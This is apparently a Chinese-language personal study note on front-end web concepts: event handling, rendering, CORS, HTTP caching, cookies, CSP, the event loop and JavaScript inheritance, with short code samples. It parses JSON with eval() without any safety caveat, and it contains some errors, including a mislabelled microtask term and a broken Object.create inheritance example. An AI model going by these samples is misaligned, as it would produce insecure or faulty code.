Math\n防抖动（Debouncing）和节流阀（Throtting）\n防抖和节流是web性能优化的知识点，常见于处理触发频率较高的函数，例如：滚动条监听\n防抖(debounce)\n触发事件，不立刻执行，而是事件发生后一段时间在执行，延迟执行，例如setTimeout()\n每触发一次，都要经过一定时间后才进行执行，而该事件再触发，那么上一个触发的时间作为新起点\n可以理解为触发事件后在一定时间内只执行一次，如果在该一定时间内又触发了事件，那么重新计算\n节流(throttle)\n节流其实就是连续触发多次事件，但是在一定时间只触发一次函数\n防抖和节流的区别就是，一个在一定时间内只执行一次，多次触发重新计算，而另一个就是在一定时间内触发一次\nDOM事件流/事件委托\nDOM事件流实质上就是页面中接收事件的顺序，当事件被触发的时候，事件在dom节点之间按照顺序传播，这个就是DOM事件流\n事件被触发，执行目标该事件的处理函数，一个事件被触发，传递给自己父级，一直到window，这个叫事件冒泡\n捕获事件和冒泡只能执行其中一个，例如不想执行某个事件冒泡，就可以捕获其事件，从而达到阻止冒泡的情况发生\n事件对象（event）：这个对象包含了事件的相关数据\nev = event || window.event\nev.target可以获取到是说触发了这个事件，例如：\nconst ev = event || window.event\rconst div = document.querySelector('div')\rdiv.addEventListener('click', function (ev) {\rconsole.log(ev.target)\r})\r还有preventDefault()，stopPropagation()分别用来阻止默认事件和冒泡的\n事件委托\n事件委托实质上就是不在子元素上设置事件监听，而是在其父元素上，利用冒泡事件来设置给子元素\n在父元素上绑定事件监听，然后通过ev.target来精确找到是那个子元素触发的，然后事件冒泡到父元素上，因为父元素有事件监听器，因此触发\nthis会变，但是ev.target永远会精确找到触发事件的目标元素，可以不再使用this来表示当前事件触发元素了\nDOM加载顺序（浏览器加载顺序）：解析HTML-加载外部脚本和样式表-解析脚本并且执行-构造DOM模型-加载外部文件（例如图片视频音频等等）\n浏览器渲染过程\n接收获取到html/css/JavaScript等资源后\n浏览器解析渲染该资源，在渲染页面之前后先构建DOM树和CSSOM树\nDOM树实质就是DOM对象模型，提供了对DOM的结构的方法（例如js就是通过dom来操作结构和样式等等）\nCSSOM树实质就是样式对象模型，是css的对象集合\n通过DOM树和CSSOM树合并为RenderObject树（RENDER树，又叫渲染树），通过一系列的布局，绘制操作，再通过浏览器来将渲染交给GPU进程来合成，最后显示页面\n因为JavaScript被设计成GUI渲染和JavaScript互斥，当JavaScript执行的时候，GUI线程会被挂起，等待JavaScript执行完毕后才会执行GUI渲染操作\n因此当JavaScript执行时间过长，会导致GUI渲染DOM加载堵塞\n另外CSS加载也是会阻塞DOM的渲染，因为它需要等CSSOM构造完毕才会开始渲染（RenderObject树依赖于DOM树和CSSOM树）\n而且CSS会在JavaScript执行之前加载执行，因此也是会阻塞JavaScript执行\n关键渲染路径(Critical Rendering Path)优化\n为了完成第一次渲染，应该尽量减少关键资源加载的数量，减短关键资源的获取时间，减小关键资源文件的大小\n在生产环境中，应该减少不必要的注释，空格，尽量做到min文件，可以利用GZIP来压缩文件，来减小文件大小，利用缓存机制来减少获取资源的数量\n注意：浏览器遇到script元素的时候，会阻止解析器执行操作，当CSSOM树构建完毕才会执行JavaScript，再解析\n可以利用script元素的async属性来让其继续执行，而且不会被CSSOM阻止\nscript元素的defer属性可以等解析完毕（Loaded）后再执行\n浏览器的回流和重绘\n当渲染树（RenderTree）某个部分出现改变（例如尺寸，属性等等），浏览器会重新渲染该部分或者全部的过程叫回流（reflow）\n页面第一次渲染，视窗大小发生改变，元素位置或者大小发生改变，元素字体大小发生改变，添加或删除DOM元素等等都会导致回流\n例如：增加，删除，修改dom节点，移动dom位置，修改css样式（大小），改变窗口的对象（Resize）（移动端没这个问题），滚动页面，修改网页的字体等等\n重绘（Repaint）：当元素不会改变其在正常流（文档流）的时候，只是改变样式，浏览器将新样式给元素并且重新绘制其\n回流和重绘危害性，肯定是回流严重，一个是重新渲染，另一个只是渲染其本身\n性能优化\n减少http请求次数（缓存或者本地存储），减少http请求文件的体积，图片优化（压缩），提升http请求速度\n减少dom操作（避免浏览器回流），事件委托，DOM Fragment，防抖节流，尽量不使用全局变量，布局优先选择flex\n异步加载css和js，预加载preload，页面加载动画，骨架屏，路由（组件）懒加载，组件缓存（keepalive）\n因为浏览器有同域策略，跨域会阻止，因此要解决跨域问题\n跨域资源共享(CORS)\n跨域发生的原因并不是在服务端，而是浏览器，实质上跨域发生后，服务端接收到请求，并且返回响应，但是浏览器接收到了响应后，因为浏览器的安全策略的原因，如果符合跨域的要求，但是没有通过Access-Control-Allow-Origin参数来允许客户端跨域请求该数据的话，浏览器将忽略响应结果，返回发生跨域的报错，从而得出，跨域是浏览器的安全策略的一种，确保得到的响应是服务端的的确确是发送给浏览器（客户端）的，而且也能进一步避免浏览器处理了另一个域的恶意脚本，也能进一步避免服务端的敏感数据对不合法请求的暴露\n注意：localhost和127.0.0.1是存在映射关系，但是浏览器不知道localhost是映射到哪里的，因此浏览器会认为localhost和127.0.0.1是不同域的\nCORS可以通过http头来告诉浏览器，准许访问来自不同源的指定资源\n只需要服务器设置Access-Control-Allow-Origin就可以，只有特殊跨域才需要设置\nnginx配置 location / { add_header Access-Control-Allow-Origin *; }\n谷歌浏览器标记：\u0026ndash;disable-web-security（禁用同源策略）\nJSONP是json的补充，并不是官方的标准，jsonp是利用script标签和img标签之类的可以直接引用其他域的文件（没有跨域限制）\njsonp跨域，例如：\nlet script = document.createElement('script')\rscript.type = 'text/javascript'\rscript.src = 'https://test.xiaochenabc123.test.com/test.js'\rdocument.head.appendChild(script)\rnode跨域\napp.all('*', function(req, res, next) {\rconsole.log(req.method);\rres.header(\u0026quot;Access-Control-Allow-Origin\u0026quot;, \u0026quot;*\u0026quot;);\rres.header(\u0026quot;Access-Control-Allow-Origin\u0026quot;, \u0026quot;https://test.xiaochenabc123.test.com\u0026quot;);\rres.header('Access-Control-Allow-Headers', 'Content-type');\rres.header(\u0026quot;Access-Control-Allow-Methods\u0026quot;, \u0026quot;PUT,POST,GET,DELETE,OPTIONS,PATCH\u0026quot;);\rres.header('Access-Control-Max-Age',1728000);\rnext(); });\r预检请求\nCORS预请求：浏览器会发送一个OPTIONS请求到服务端验证跨域的配置是否正确，然后服务端返回一个响应来确定跨域是否被允许\nCORS将请求分成2种，简单请求（simple request）和非简单请求（not-simple-request）\n简单请求（满足下面的条件就是简单请求，否则就是非简单请求）：\n请求方式：必须是GET请求，POST请求，HEAD请求这三个之一\n请求头：请求头只能设置Accept，Accept-Language，Content-Language，Content-Type这三个字段\nContent-Type：该字段的值只能设置text/plain，multipart/form-data，application/x-www-form-urlencoded这三个值\n简单请求不会触发CORS预检请求，直接向目标服务器发送请求，如果满足CORS配置，服务器则返回响应，如果不是简单请求，那么浏览器会在发送请求之前发送预检请求给服务器，检查当前请求是否符合服务器的CORS配置，如果不符合则跨域报错，符合后才发送真正的请求\nCORS预检请求：使用OPTIONS请求发送预检请求到服务器上，来确定服务器是否允许该请求，该请求包含了两个字段，分别是Access-Control-Request-Method和Access-Control-Request-Headers，服务器接收到请求后，发送预检请求的响应，该响应中包括Access-Control-Allow-Headers和Access-Control-Allow-Origin这些字段，来限制请求，浏览器接收到该响应后才发送真实的资源请求\n（客户端）Access-Control-Request-Method表示实质请求用什么请求方式，Access-Control-Request-Headers表示实质请求携带了什么字段，由服务端来检查，该请求是否被允许\n（服务端）Access-Control-Allow-Origin表示服务器限制请求的源域，没有限制为*，Access-Control-Allow-Headers表示服务器允许请求携带什么字段，Access-Control-Allow-Methods表示服务器允许用什么请求方式来请求，Access-Control-Max-Age表示该预检请求的响应可以缓存多久（在该时间段内不用再发送同一请求的预检请求）\n注意：浏览器有个最大有限时间，Access-Control-Max-Age响应头（服务端响应），该响应头表示了本次预检请求的响应可以被缓存多久，单位为秒（不同浏览器最大有限时间都不同，Firefox为86400秒，目前最新chromium为7200秒），在这个时间段内浏览器不需要再为同一个请求发送预检请求\n缓存\nres.header(\u0026quot;Cache-Control\u0026quot;,\u0026quot;max-age=60\u0026quot;);\rprivate指的单个用户，public可以被任何中间人、CDN等缓存\nHTTP的可缓存性（public（允许被任何人（客户端，中间人，代理都可以）缓存），private（只能缓存在客户端，代理服务器无法获得缓存），no-cache（禁止强缓存，每次都需向服务端验证缓存是否过期，只有当确认没有过期后才能被缓存））\n缓存到期(max-age（缓存的到期时间，单位为秒，距离上一次请求多少秒后缓存过期），s-maxage（设置代理服务器的缓存到期时间，单位为秒），max-stale（允许缓存超过max-age或者s-maxage设置的缓存生存时长，该配置表示过期的缓存最大可以缓存多久，单位秒，也就是说实质缓存过期时间是max-age+max-stale（或者s-maxage））)\n重新验证（must-revalidate（和no-cahe类似，但是该参数允许缓存过期多少秒后进行验证，单位为秒），proxy-revalidate（和must-revalidate类似，不过只作用于代理服务器））\nno-store（禁止缓存），no-transform（不允许对资源进行压缩或者转换的工作）\n设置一个完全禁止缓存（Cache-Control: no-cache, no-store, must-revalidate）\n缓存的验证（Last-Modified（表示上次修改的时间），Etag（数据的唯一签名，如果资源发生改变，签名会发生改变））\nIf-Modified-Since：第二次访问该资源时，浏览器会向服务端发送一个请求，来确定该资源是否发生修改（重启服务器也会导致认为已经修改），如果没有修改则继续使用缓存（该请求的响应为304），如果已经修改了则重新对该资源的拉取\nIf-None-Match：当浏览器请求该资源时，服务端会发送一个Etag给浏览器，浏览器第二次请求该资源时，发送一个If-None-Match给服务端，让服务端来验证资源是否发送了改变\ncookie\ncookie通过Set-Cookie设置\ncookie是具备过期时间的，通过max-age来设置（表示该cookie存活多长时间后被销毁，单位秒），默认当浏览器销毁该会话时自动删除cookie，还可以设置expires来设置过期时间（指定该cookie到达什么时间后消耗，根据过期时间和本地客户端的时间进行对比，如果超过或者已经到了过期时间，就会销毁该cooki）\n设置httponly后无法通过document.cookie访问cookie（安全）\nsecure只在https时发送该cookie（安全）\nDomain只在命中该域时发送该cookie（安全）\npath可以限制服务端哪个路径下可以访问到该cookie（安全）\nconst http = require(\u0026quot;http\u0026quot;)\rhttp.createServer(function (_request, response) {\rresponse.writeHead(200,{\r'Content-Type': 'text/plain',\r'Set-Cookie': 'id=abc'\r// 'Set-Cookie': ['id=abc; max-age=5','pass=123; HttpOnly Secure=true','age=20; Domain=test.xiaochenabc123.test.com; path=/testWeb/']\r})\rresponse.end(\u0026quot;hallo nodejs\u0026quot;)\r}).listen(8888)\rconsole.log('Server running at http://127.0.0.1:8888/')\rhttp数据协商\nAccept（客户端想要的数据类型）\nAccept-Encoding（数据的编码传输，避免服务端进行数据编码压缩）\nAccept-Language（数据的语言）\nUser-Agent（浏览器的UA信息）\nContent-Type（服务端返回的数据的实质类型）\nContent-Encoding（服务端实质返回的数据的编码（实质的数据的压缩格式））\nContent-Language（服务端返回数据的实质语言）\nContent-Security-Policy（内容安全策略，CSP）\n限制资源的获取\nres.writeHead(200, {\r'Content-Type': 'text-html',\r'Content-Security-Policy': 'default-src http: https:' // 'Content-Security-Policy': 'default-src \\'self\\' http://test.xiaochenabc123.test.com; form-action \\'self\\'; report-uri https://testreport.xiaochenabc123.test.com; report-to reportTest' });\rdefault-src是全局限制，还有img-src，script-src，style-src等等限制指定的资源类型，上面的例子中表示的是限制全局资源必须是以http或者https的外联的方式访问，内联方式访问将会报错\n'self'的作用是非本域的资源，限制其加载，也可以设置指定的域的资源可以加载（注意：该限制不会导致form元素的action属性，需要使用form-action 'self'来限制）\nreport-uri的作用是当客户端存在违反CSP的企图是，将违规报告通过post请求的方式（json格式）发送指定服务器（该功能已被web标准抛弃，推荐使用取代品report-to）\nreport-to配置\nReport-To: { \u0026quot;group\u0026quot;: \u0026quot;reportTest\u0026quot;,\r\u0026quot;max_age\u0026quot;: 10886400,\r\u0026quot;endpoints\u0026quot;: [\r{ \u0026quot;url\u0026quot;: \u0026quot;https://reports.xiaochenabc123.test.com\u0026quot; },\r{ \u0026quot;url\u0026quot;: \u0026quot;https://test.xiaochenabc123.test.com/reports\u0026quot; }\r]\r},{ \u0026quot;group\u0026quot;: \u0026quot;reportTestA\u0026quot;,\r\u0026quot;max_age\u0026quot;: 10886400,\r\u0026quot;endpoints\u0026quot;: [\r{ \u0026quot;url\u0026quot;: \u0026quot;https://reportsA.xiaochenabc123.test.com\u0026quot; },\r{ \u0026quot;url\u0026quot;: \u0026quot;https://test.xiaochenabc123.test.com/reportsA\u0026quot; }\r]\r},\r当发生违规情况时，发送report报告到指定endpoints下的url中，group为report名，max_age是报告的最大大小是多少，可以设置多个report报告，report-to不支持在meta下使用\n如果发生违规情况，但是又不想强制限制资源的加载，只想记录违规情况的时候，可以使用Content-Security-Policy-Report-Only\n\u0026lt;meta http-equiv=\u0026quot;Content-Security-Policy\u0026quot; content=\u0026quot;default-src 'self' http://test.xiaochenabc123.test.com; form-action 'self'\u0026quot;\u0026gt;\r浏览器事件循环\n浏览器缓存\njson全成JavaScript Object Notation，用来数据交互，以键值对方式，多个数据用逗号分隔\njson支持字符串，数值，布尔值，数组，对象，null\nJSON.stringify() json转为字符串\nJSON.parse() 字符串转为json\nJSON字符串：和普通字符串没有区别，只是符合语法规则\n例如：\nlet objStr = '{\u0026quot;name\u0026quot;:\u0026quot;root\u0026quot;,\u0026quot;pass\u0026quot;:\u0026quot;admin\u0026quot;,\u0026quot;true\u0026quot;: null}'\rlet objArr = '[{\u0026quot;name\u0026quot;: \u0026quot;boom\u0026quot;,\u0026quot;pass\u0026quot;: \u0026quot;hallo\u0026quot;},{\u0026quot;name\u0026quot;: \u0026quot;aaa\u0026quot;,\u0026quot;pass\u0026quot;: \u0026quot;yes\u0026quot;}]'\rlet obja = JSON.parse(objStr)\rlet objb = JSON.parse(objArr)\rconsole.log(obja)\rconsole.log(objb)\r获取属性和值\n通过对象名.属性名来获取或者修改，例如obja.name\n也可以通过对象名[属性名]来获取或者修改，例如obja[\u0026ldquo;name\u0026rdquo;]\n删除对象属性，delete obja.name\nJSON转JavaScript对象（利用eval()来解析json文本）\nlet objStr = '{\u0026quot;name\u0026quot;:\u0026quot;root\u0026quot;,\u0026quot;pass\u0026quot;:\u0026quot;admin\u0026quot;,\u0026quot;true\u0026quot;: null}'\rlet objArr = '[{\u0026quot;name\u0026quot;: \u0026quot;boom\u0026quot;,\u0026quot;pass\u0026quot;: \u0026quot;hallo\u0026quot;},{\u0026quot;name\u0026quot;: \u0026quot;aaa\u0026quot;,\u0026quot;pass\u0026quot;: \u0026quot;yes\u0026quot;}]'\rlet obja = eval(\u0026quot;(\u0026quot; + objStr + \u0026quot;)\u0026quot;)\rlet objb = eval(\u0026quot;(\u0026quot; + objArr + \u0026quot;)\u0026quot;)\rconsole.log(obja)\rconsole.log(objb)\rJSONP postMessage() websocket Node中间件代理 cors nginx反向代理 window.name + iframe location.hash + iframe document.domain + iframe\n执行上下文和执行栈（调用栈）\nJavaScript程序执行分2个阶段，预编译阶段和执行阶段，而执行上下文就是在执行阶段创建完成的\n预编译阶段主要做一些预处理工作，例如创建变量对象（变量提升），执行阶段就会激活这些变量对象（赋值）\n声明阶段会在编译时提升到最上面，当声明完成后，才会执行赋值操作，例如：\nvar a = 1\r上面会被编译器处理为\nvar a\ra = 1\r因此可以在编写时在未定义就使用该变量，改变编写时的位置（不再是从上往下依次执行），这就是变量提升\n函数声明可以被提升，而且函数表达式不会被提升，例如：\nabc()\rfunction abc(){\rconsole.log('hallo word')\r}\rxyz() // xyz is not a function，并不是这个不是函数，而且没有声明，因此这个没有得到提升\rvar xyz = function(){\rconsole.log('hallo hahaha')\r}\r只有声明本身被提升，赋值和其他操作并不会被提升，而且按照从上往下依次执行，提升只影响声明\n声明提升，函数优先，例如：\nabc() // hallo word\rvar abc\rabc = function(){\rconsole.log('hallo hahaha')\r}\rfunction abc(){\rconsole.log('hallo word')\r}\r可以看到abc变量最先出现，但是反而输出了hallo word，说明函数声明比变量声明提升的更早，变量abc因为重复声明，被忽略了\n执行上下文：指的是抽象化JavaScript代码执行的环境，当JavaScript代码被执行的时候，都是在执行上下文中运行的\n在JavaScript中有3种执行上下文，分别是全局执行，函数执行，Eval函数执行\n全局：不在函数内部的代码都在全局执行上下文中，一个程序只有一个全局执行上下文\n函数：当某个函数被调用时，为该函数创建一个函数执行上下文（如果被调用多次，会根据定义的顺序来执行（执行栈））\nEval函数：在eval函数内部执行的代码也有自己的执行上下文\n执行栈（调用栈）：指的是一种存在后进先出（LIFO）的数据结构的栈，该栈被用来存储程序运行的时候被创建的全部执行上下文。在JavaScript编译代码的时候，创建一个全局的执行上下文，将这个执行上下文存储在当前执行栈中，只要当碰到函数被调用，再为该函数创建一个新的执行上下文并且存储在栈的顶部，然后执行在顶部的函数，函数执行完毕，该执行上下文从栈中弹出，轮到下一个执行上下文进行，一旦全部代码都执行完毕，全局执行上下文弹出\n执行上下文会经历创建和执行俩个阶段，创建阶段会创建变量环境和词法环境，this绑定（在全局执行上下文中，this的值为全局对象，如果是浏览器的话，this为window对象，在函数执行上下文中，this取决于该函数怎么被调用的，如果是被一个对象调用的，那么this指向该对象，否则就是全局对象）\n词法环境：一种规范类型，用来定义变量名或者函数名和实际对象的关联，一个词法环境有两个组件，分别是环境记录器（用来存储变量和函数声明的实际位置），外部环境的引用（可以访问父级词法环境）\n词法环境有俩种类型：全局和函数，全局环境（全局执行上下文）是不存在有外部环境引用的，该环境拥有用户定义的全局变量，并且this执行全局对象。而在函数环境中，在函数内部定义的变量会被存储在环境记录器中，引用该环境的外部环境可能是全局，又或者是其他包含该函数的外部函数\n环境记录器也是有俩种，分别是声明式（函数环境）和对象式（全局环境），声明式会存储变量，函数以及参数（还会传递arguments（存储索引和参数映射）和length（函数参数））。而对象式被用来定义出现在全局上下文中的变量和函数之间的关系\n变量环境：在ES6中，只有使用var定义的变量才能使用变量环境来存储（let和const则是词法变量），在创建阶段，变量初始值为undefined（var）和未初始化（let和const）\nJS底层运行机制：EC/VO/AO/GO/EC/ECS/Scope/Scope Chain/Lexical Environment/Variable Environment\nJS执行环境（EC），变量对象（VO），活动对象（AO），GO对象，作用域（scope）作用域链（scope chain）\nJS执行环境（EC），EC全称为Execution Context，又叫执行上下文\n变量对象（VO），VO全称Variable Object，该对象存储了当前上下文中定义的变量和函数，在全局作用域中，变量对象就是全局对象\n活动对象（AO），AO全称Activation Object，该对象在进入函数执行上下文时被创建，AO对象存储了该函数的参数变量\nGO对象，GO全称Clobal Object，该对象存储了所有调属性和方法，并且在全局中创建一个window变量指向这个GO对象，因此GO对象实质上就是全局对象\nECS：ECS全称Execution Context Stack，就是执行上下文栈，又叫执行栈\nScope：作用域\nScope Chain：作用域链\nLexical Environment：词法环境\nVariable Environment：变量环境\n函数的运行：\n编译阶段：创建一个堆内存，声明当前函数的作用域，作用域和执行上下文相关，将函数内部语句块以字符串的形式存储在堆内存中，函数名指向该函数的堆内存地址\n执行阶段：创建函数执行上下文（私有），在函数执行上下文中存储活动对象（AO），初始化操作（初始化作用域链，this指向，arguments，形参赋值，变量提升），执行语句（调取堆内存中存储的字符串，以上下文的形式依次执行）\nScope Chain查找机制：检查在执行阶段的变量是否为私有变量，如果都是私有，那么直接操作私有，如果不是私有的，按照Scope Chain，向上级作用域查找，一直查找到全局作用域为止\n所谓的变量提升只是在编译阶段识别被创建的变量，在这个阶段中使用var和function定义的变量初始化的值被设置为undefined，而使用let和const定义的变量还是未初始化（暂时不能使用的状态），直到定义被执行才被初始化\nJavaScript是即时编译即时执行的机制，在执行一个函数之前，都会立刻编译该函数，然后创建执行上下文，在执行上下文中有个存储空间叫变量环境，这个环境存储着由var定义的变量，因为var定义的变量都在编译的时候已经存储了，在执行时的任何时间段都是可以访问调用的\n而使用const和let定义的变量，在编译完成的时候，执行之前，将变量名存储在词法环境中，在没有声明该变量之前是会存在暂时性死区（变量已经被上下文记录，但是不能使用）\nEventloop（事件循环）：事件循环实质上就是避免js单线程的时候出现堵塞，也是异步的原理\na programming construct that waits for and dispatches events or messages in a program.\nEvent Loop 任务分为两种，分别是宏任务（MacroTask）和微任务（MacroTask）\n所有同步任务会根据顺序被主线程依次执行，执行栈（execution context stack），而除主线程外，还有一个任务队列（task queue），当碰到异步任务完成了，任务队列就会告诉主线程，某个异步任务可以执行，这时这个异步任务才会进入主线程执行（异步任务结束等待，进入执行栈，开始执行），主线程反复操作，这就是事件循环\n宏任务：整体代码script，setTimeout和setInterval，I/O，UI Rendering（ui渲染），setImmediate（node的特性，浏览器已抛弃该API），requestAnimationFrame，事件\n微任务：Promise.then，process.nextTick（node的特性），MutationObserver\n在浏览器上：JavaScript会有一个主线程和执行栈（call-stack），全部任务都会放到执行栈等主线程执行\njs的执行栈是后进先出的数据结构，当某一个函数执行时，将插入到栈的顶部，当执行完毕，从栈顶部弹出。一直到栈被清空，执行栈的所有同步任务执行完成，开始查看任务队列，执行那些异步任务（只有当主线程空了，才能执行任务队列里面的）\n而任务队列是先进先出的数据结构，只有异步任务才能进入任务队列（同步任务在主线程上排队），异步任务必须指定回调函数，主线程执行异步任务实质上就是在执行对应的回调函数。当某个异步任务完成，就会向任务队列添加一个事件，在顶部的任务，会优先被主线程处理\n例如：\nnew Promise((a) =\u0026gt; a())\r.then(() =\u0026gt; console.log(\u0026quot;微任务1\u0026quot;))\r.then(() =\u0026gt; console.log(\u0026quot;微任务2\u0026quot;))\rconsole.log('hallo 我是同步任务1')\rvoid setTimeout(() =\u0026gt; {\rconsole.log(\u0026quot;我是定时任务1 宏任务\u0026quot;)\r}, 1000)\rvoid setTimeout(() =\u0026gt; {\rconsole.log(\u0026quot;我是定时任务2 宏任务\u0026quot;)\r}, 0)\rvoid setTimeout(() =\u0026gt; {\rconsole.log(\u0026quot;我是定时任务3 宏任务\u0026quot;)\r})\rsetTimeout(function() {\rconsole.log('我是宏任务，good bye')\r}, 1000)\rPromise.resolve()\r.then(() =\u0026gt; console.log(\u0026quot;微任务3\u0026quot;))\r.then(() =\u0026gt; console.log(\u0026quot;微任务4\u0026quot;))\r.then(() =\u0026gt; console.log(\u0026quot;微任务5\u0026quot;))\rconsole.log('hi 我是同步任务2')\r微任务列表是先进先出，先进入的，就先执行\n运行过程：同步任务执行（主线程），当同步任务为null，检查任务队列是否为null，不为null，宏任务（script任务）进入执行栈，在主线程执行前进行判断，（微任务和宏任务都是异步任务），如果微任务队列不为null（script任务执行过程中遇到微任务，将微任务添加到微任务排列），优先执行微任务，当微任务都执行完毕，执行下一个宏任务\nsetTimeout定时器最小延迟时间为4ms，在4ms以内的定时都将视为同一个最小延迟时间，将根据先进先出处理\n例如：\nsetTimeout(function() {\rconsole.log('hallo')\r}, 1)\rsetTimeout(function() {\rconsole.log('hhhh')\r}, 0)\rconsole.log('abcabc')\rsetTimeout()方法的返回值是整数，这个整数是该定时器的编号，可通过clearTimeout()方法来取消该定时器，例如clearTimeout(123)，假设该定时器编号为123\nDOM事件级别\nDOM0 函数赋值到一个事件中（可以绑定多个同类型事件），例如onclick=function(){}或者在元素内添加事件\nDOM2 使用监听，可以移除或者添加监听，例如addEventListener(\u0026lsquo;click\u0026rsquo;, test, false)\nDOM3 在DOM2级基础上添加更多事件类型，例如键盘事件addEventListener(\u0026lsquo;keyup\u0026rsquo;, test, false)\nDOM1因为没有定义事件相关的内容，所有没有DOM1级模型\n捕获（从祖先元素捕捉到子元素，精确到目标元素） 冒泡（从目标元素往上冒泡，一直到window元素）\n创建对象的方法\nlet a = {data: \u0026ldquo;hallo word!!!\u0026rdquo;} let b = new Object({data: \u0026ldquo;hallo word!!!\u0026rdquo;}) let c = function(){this.data=\u0026ldquo;hallo word!!!\u0026rdquo;} let d = new c() let e = Object.create(a)\n继承的方法\n通过原型链继承\nfunction test(){\rthis.data = 123\r}\rfunction main(){\rthis.type='main'\r}\rmain.prototype = new test() // main.prototype.__proto__ = test.prototype\rconsole.log(new main)\r缺点就是如果进行修改对象，那么其他通过其父类实例继承的对象，都会被修改(引用类型），而且也不能向父类构造函数传递参数\n通过构造函数继承\nfunction test(){\rthis.data = 123\r}\rfunction main(){\rtest.call(this)\rthis.type='main'\r}\rconsole.log(new main)\r实质上是通过改变test的this指向，将其指向到main，这个只能继承父类构造函数的属性，不能继承原型链上的方法（prototype）\n盗用构造函数（对象伪装/经典继承）\nfunction test(){\rthis.data = [123,666,\u0026quot;hahahah\u0026quot;]\r}\rfunction main(){\rtest.call(this)\r}\rlet a = new main()\rlet b = new main()\ra.data.push(\u0026quot;hallo word\u0026quot;)\rconsole.log(a,b)\r会发现a和b的data都是独享的，不会存在改变a，b也跟着改变，原理就是通过call改变this指向，指向当前的test，因为使用的call，还可以给父类传递参数，缺点就是无法复用父类方法，因为每次实例化，都要重新声明父类的方法\n组合继承（伪经典继承，将原型链和盗用构造函数方式结合）\n原理就是通过原型链继承父类的属性和方法，再用盗用构造函数继承实例的属性（可以确保方法可复用，每个实例都有自己的独享属性）\nfunction test(){\rthis.data = [123,666,\u0026quot;hahahah\u0026quot;]\r}\rfunction main(){\rtest.call(this)\r}\rmain.prototype = new test()\rlet a = new main()\rlet b = new main()\ra.data.push(\u0026quot;hallo word\u0026quot;)\rconsole.log(a,b)\r通过盗用构造函数继承父类的data属性，然后通过原型链，继承父类的原型对象\n缺点就是会调用2次test构造函数（分别是在new，call各调用一次），而且实例和原型都存在相同的属性和方法\n原型式继承（实例继承）（直接给对象赋值给构造函数的原型）\nfunction test(data){\rfunction hallo(){}\rhallo.prototype = data\rreturn new hallo()\r}\r寄生式继承\nfunction test(data){\rlet hallo = Object.create(data)\rhallo.abc = function(){\rconsole.log(this.name+this.pass)\r}\rreturn hallo\r}\rlet data1 = {\rname:\u0026quot;root\u0026quot;,\rpass:\u0026quot;hallo\u0026quot;\r}\rlet main = test(data1)\rmain.abc()\r通过接收参数，该参数为被继承的对象，main是基于data1对象创建一个新对象，这个对象有data1的属性和方法，也有自己的abc方法，继承父类之后，进行增强了\n寄生式组合继承（组合继承加寄生式继承）\nfunction test() {\rthis.data = [123,666,\u0026quot;hahahah\u0026quot;]\r}\rfunction main() {\rtest.call(this)\r}\rmain.prototype = Object.create(test)\rlet a = new main()\rlet b = new main()\ra.data.push(\u0026quot;hallo word\u0026quot;)\rconsole.log(a,b)\rextends继承（es6继承，通过extends关键字继承）\nclass test {\rconstructor(name=\u0026quot;root\u0026quot;,data=\u0026quot;hallo\u0026quot;) {\rthis.name = name\rthis.data = data\r}\rhallo(){\rconsole.log(`${this.name} ${this.data}`)\r}\r}\rclass main extends test {\rconstructor(name=\u0026quot;admin\u0026quot;,data=\u0026quot;hahaha\u0026quot;) {\rsuper(name,data)\r}\rhallo(){\rsuper.hallo()\r}\r}\rlet abc=new main('user')\rabc.hallo()\r通过extends关键字创建父类的实例this，然后在子类class中修改this，必须通过父类构造函数来得到父类的属性和方法（super方法）\n浏览器缓存的分类\n强缓存（本地缓存，不用请求，直接拿来用）， expires和control\nexpires是http1.0定义的缓存字段，expires字段为资源的过期时间，这个字段是时间戳，这个会导致客户端时间和服务端时间之间时间差问题（因为请求的时候使用的客户端的事件）\ncontrol（cache-control）是http1.1中定义的字段，用来解决expires存在的问题，该字段是一个时间长度，表示多少秒后过期（相对于客户端），当expires和cache-control都存在时，cache-control优先级高\n协商缓存（当拿到该缓存，会向服务端进行确认，确认其是否要用，缓存有没有更新），last-modified和etag\nlast-modified会在获取到某资源的时候记录资源的修改时间，当第二次获取到的时候，会对比时间，精确到秒（1秒内的更新，不会被记录），如果对比修改时间，发现没有修改，那么继续使用该缓存并且返回304，如果被修改那么重新获取，并且记录新时间，而且存在时间上修改了，但是内容没有修改的问题，etag就是解决这个的\netag会基于内容编码生成唯一的标识，只要内容不一样，标识就一定不一样，判断是否被修改，直接判断标识是否一致，一致则直接使用缓存并且返回304，不一致就是获取新的缓存，并且记录etag值\n因为JavaScript没有类型声明，可以进行类型的强制转换，手动转换（明确转换）的叫显式转换类型，自动转换（隐式，由编译器自动处理）的叫隐式转换类型\nObject.prototype.toString()返回表示该对象的字符串\nObject.prototype.valueOf()返回对象的原始值\nSymbol.toPrimitive效果和valueOf()类似，只是优先级比valueOf()高，并且接受一个hint参数（该参数被用来指定要转换的原始值的具体类型）\n隐式转换过程：优先调用对象的valueOf()方法，返回原始值，如果不能处理则调用对象的toString()方法转换为字符串，进行字符串拼接，否则报错（cannot convert object to primitive value）\n隐式类型转换例子：\ntrue + 1 === 2 // true\r布尔值加整数，居然绝对等于（类型和值都等于）一个整数，这说明类型已经被转换了\n+加号不但可以用来算术运算，还可以做字符串拼接\n字符串加数字，数字自动转字符串\n\u0026quot;123\u0026quot; + 666 // '123666'\r数字减字符串，字符串自动转数字，如果字符串不是纯数字，那么输出为NaN\n123 - \u0026quot;100\u0026quot; // 23\r相等\n==，当类型不相同时，进行类型转换，再进行比较\n===，首先进行判断类型是否相同\nundefined==null // true\r\u0026quot;0\u0026quot; == false // true\r比较\n\u0026quot;3\u0026quot; \u0026gt; \u0026quot;10\u0026quot; // true\r字符串和字符串比较就算了，为啥字符串3大于字符串10，类型转换了也不应该啊\n实质上并没有做类型的转换，因为其比较的时候调用了charCodeAt()方法，返回值是整数，这个整数表示则该字符的Unicode编码\n所以实质上是\u0026quot;3\u0026quot;.charCodeAt() \u0026gt; \u0026ldquo;10\u0026rdquo;.charCodeAt()\n表示\u0026quot;3\u0026quot;的Unicode编码为51，\u0026ldquo;10\u0026quot;的为49\ncharCodeAt()方法可以将字符串转Unicode编码，该方法必须要写index参数，如果没写默认参数值为0\nlet abc = \u0026quot;你好\u0026quot;\rconsole.log(abc.charCodeAt(1)) // 22909 该值为\u0026quot;好\u0026quot;的Unicode编码\r同样也可以将Unicode编码转字符串fromCharCode()方法\nlet a = String.fromCharCode(51)\rconsole.log(a) // 3\rconsole.log(typeof(a)) // 'string'\rproxy对象属于一种元编程（meta 